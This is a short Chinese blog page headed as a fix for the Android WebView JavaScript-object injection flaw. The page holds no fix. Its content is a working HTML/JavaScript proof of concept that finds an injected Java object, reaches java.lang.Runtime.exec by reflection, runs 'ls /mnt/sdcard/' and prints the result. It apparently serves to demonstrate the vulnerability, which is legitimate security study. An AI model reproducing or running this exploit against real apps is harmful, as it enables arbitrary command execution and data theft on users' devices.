zoukankan      html  css  js  c++  java
  • Android WebView的Js对象注入漏洞解决方案

    http://blog.csdn.net/leehong2005/article/details/11808557/

    webview调用以下文件,就可以打印sdcard 文件名

     1 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
     2 <html xmlns="http://www.w3.org/1999/xhtml">
     3  <head>
     4   <title> new document </title>
     5   <script >
     6    var i=0;
     7   function getContents(inputStream)  {
     8         var contents = ""+i;
     9         var b = inputStream.read();
    10         var i = 1;
    11         while(b != -1) {
    12             var bString = String.fromCharCode(b);
    13             contents += bString;
    14             contents += "
    "
    15             b = inputStream.read();
    16         }
    17         i=i+1;
    18         return contents;
    19        }
    20 
    21   function execute(cmdArgs){
    22          for (var obj in window) {  
    23             console.log(obj);
    24             if(window[obj]!=null)
    25             if ("getClass" in window[obj]) {
    26                 console.log("come to here");
    27                 //alert(obj);.
    28                 return window[obj].getClass().forName("java.lang.Runtime").
    29                     getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  
    30              }  
    31          }      
    32     }
    33     var p = execute(["ls","/mnt/sdcard/"]);
    34     console.log("come to here  2");
    35 
    36     document.write(getContents(p.getInputStream()));  
    37   </script>
    38   <meta name="generator" content="editplus" />
    39   <meta name="author" content="" />
    40   <meta name="keywords" content="" />
    41   <meta name="description" content="" />
    42  </head>
    43 
    44  <body>
    45   
    46  </body>
    47 </html>
  • 相关阅读:
    mapreduce深入剖析5大视频
    深入理解Apache Flink
    什么是Apache Flink
    Hadoop IO
    HDFS操作及小文件合并
    HDFS分布式文件系统
    hbase 核心知识
    机器学习--简单神经网络
    Hbase访问方式
    LeetCode 167. Two Sum II
  • 原文地址:https://www.cnblogs.com/friends-wf/p/5508335.html
Copyright © 2011-2022 走看看